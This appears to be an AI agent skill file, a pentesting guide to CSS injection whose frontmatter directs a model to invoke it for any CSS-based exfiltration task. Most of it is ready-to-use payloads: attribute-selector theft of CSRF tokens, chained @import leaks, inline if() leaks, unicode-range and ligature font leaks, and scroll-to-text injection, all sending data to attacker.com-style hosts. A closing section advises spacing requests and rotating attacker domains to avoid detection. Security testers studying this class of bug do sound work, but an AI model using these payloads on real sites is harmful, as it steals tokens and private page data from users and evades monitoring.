| name | css-injection-pentest |
| description | CSS injection attack techniques for web security testing. Use this skill whenever the user mentions CSS injection, style injection, attribute exfiltration, blind CSS attacks, @import exfiltration, unicode-range attacks, font-based data leakage, or any CSS-based information disclosure. Trigger for pentesting tasks involving CSS vulnerabilities, XSS search via CSS, or data exfiltration through style attributes. Make sure to use this skill for any web security assessment where CSS injection vectors are suspected or confirmed. |
CSS Injection Pentesting
A comprehensive guide to CSS injection attack techniques for web security assessments.
When to Use This Skill
Use this skill when:
- You've identified a CSS injection vulnerability in a web application
- You need to exfiltrate data through CSS selectors and properties
- You're performing XSS search (XS-Search) using CSS techniques
- You need to enumerate hidden form fields, tokens, or sensitive data
- You're testing for blind CSS exfiltration scenarios
- You need to leverage CSS primitives for information disclosure
Prerequisites
Before attempting CSS injection attacks, verify:
- Payload Length: The injection vector must support sufficiently long payloads
- CSS Re-evaluation: Ability to trigger CSS re-evaluation (often requires framing the page)
- External Resources: Ability to load external images/resources (check CSP restrictions)
- Browser Support: Some techniques require specific browser features (e.g.,
if(), :has)
Technique 1: Attribute Selector Exfiltration
Extract data from input element attributes using CSS selectors.
Basic Pattern
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
Bypass for Hidden Elements
Hidden inputs don't load backgrounds. Use the general sibling combinator:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
How it works: Targets any element following the hidden input, triggering the background load.
Blind Attribute Selector with :has and :not
For blind pages where you don't know the DOM structure:
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
This identifies content even from blind elements by combining :has and :not selectors.
Technique 2: @import Chained Exfiltration
Advanced technique by Pepe Vila that loads the page once and chains exfiltration through @import.
Payload Structure
@import url("//attacker.com:5001/start?");
Attack Flow
- Victim loads page with
@import to attacker server
- Attacker sends CSS with:
- Another
@import (held pending)
- Attribute selector payload to leak first/last character
- Attacker receives first/last char, responds to pending
@import
- Repeat for second/penultimate character
- Continue until full secret is leaked
Key Advantages
- Only one initial payload needed
- No need to send multiple links to victim
- No iframe requirement
- Leaks 2 characters per iteration (prefix + suffix)
Selector Patterns
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
Technique 3: Inline-Style CSS Exfiltration
Exfiltrate data using only an element's inline style attribute. Requires Chromium-based browsers.
Prerequisites
- Control over an element's
style attribute
- Target attribute must be on the same element (
attr() reads only same-element attributes)
- Browser supports CSS
if() conditionals
Basic Pattern
<div style='--val: attr(data-username);
--steal: if(style(--val:"martin"): url(https://attacker.tld/martin);
else: if(style(--val:"zak"): url(https://attacker.tld/zak);
else: url(https://attacker.tld/james)));
background: image-set(var(--steal));'
data-username="james">
test
</div>
Critical Notes
- Double quotes required in
if() comparisons (single quotes won't match)
- Works best for finite/enumerable value spaces (IDs, flags, short usernames)
- Any CSS property that fetches URLs can trigger the request:
background / image-set
border-image
list-style
cursor
content
Enumerating Values
<div style='--val: attr(data-uid);
--steal: if(style(--val:"1"): url(/1);
else: if(style(--val:"2"): url(/2);
else: if(style(--val:"3"): url(/3);
else: url(/4))));
background: image-set(var(--steal));'
data-uid='1'></div>
Technique 4: @font-face with unicode-range
Extract text content by loading fonts only for specific Unicode characters present in the page.
Basic Pattern
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A);
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B);
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C);
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
Result: If text contains "AB", only ?A and ?B are fetched. ?C is not loaded.
Error-Based XS-Search
Use @font-face to detect resource availability:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
How it works: If favicon.ico fails to load, fallback text "A" is displayed using the custom font, triggering the leak request.
Technique 5: Text Node Exfiltration with Default Fonts
Leak charset using pre-installed fonts (no external assets required).
Comic Sans Height Trick
Comic Sans is taller than default fonts. Use this to trigger scrollbars:
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto;
overflow-x: hidden;
height: 40px;
font-size: 0px;
font-family: rest;
width: 0px;
animation: loop step-end 200s 0s, trychar step-end 2s 0s;
animation-iteration-count: 1, infinite;
}
div.leak::first-line {
font-size: 30px;
text-transform: uppercase;
}
@keyframes trychar {
5% {
font-family: has_A, rest;
--leak: url(?a);
}
}
@keyframes loop {
0% { width: 0px; }
1% { width: 20px; }
}
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
How it works:
- Animation expands div width, moving characters from suffix to prefix
- When a character enters prefix, trychar animation tests if it matches
- If match, Comic Sans is applied, making text taller
- Vertical scrollbar appears, triggering the leak URL
Technique 6: Scroll-to-Text Fragment
Exploit the :target pseudo-class with Scroll-to-text fragments.
Payload
:target::before {
content: url(http://attackers-domain/?confirmed_existence_of_Administrator_username);
}
Attack URL
http://target.com/page?note=<style>:target::before{content:url(http://attacker/?leak)}</style>#:~:text=Administrator
How it works: If "Administrator" exists on the page, the fragment targets it, triggering the CSS rule and loading the attacker's resource.
Limitations
- Only matches words/sentences (not arbitrary secrets)
- Works only in top-level browsing contexts (not iframes)
- Requires user activation (clicking the link)
Technique 7: Ligature-Based Exfiltration
Extract text by exploiting font ligatures and width changes.
Process
-
Create SVG fonts with glyphs having large horiz-adv-x for character pairs:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
-
Detect width changes via scrollbar:
body {
white-space: nowrap;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
-
Iterative process:
- Detect 2-character ligatures
- Generate 3-character ligatures with detected pair
- Repeat until full text is revealed
Technique 8: Other CSS Selectors
Additional selectors for DOM access:
nth-child
.class-to-search:nth-child(2) {
background-image: url(http://attacker.com/?second);
}
:empty Selector
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Practical Considerations
CSP Bypasses
- Check if
unsafe-inline is allowed
- Look for
style-src that permits external resources
- Test if
font-src allows external fonts
- Verify
img-src for background image loading
Browser Compatibility
| Technique | Chrome | Firefox | Safari |
|---|
| Attribute selectors | ✓ | ✓ | ✓ |
:has selector | ✓ | ✓ | ✓ |
if() conditionals | ✓ | ✗ | ✗ |
@import chaining | ✓ | ✓ | ✓ |
unicode-range | ✓ | ✓ | ✓ |
| Scroll-to-text | ✓ | ✓ | ✓ |
Rate Limiting
- Space out requests to avoid detection
- Use multiple attacker domains
- Implement delays between character leaks
References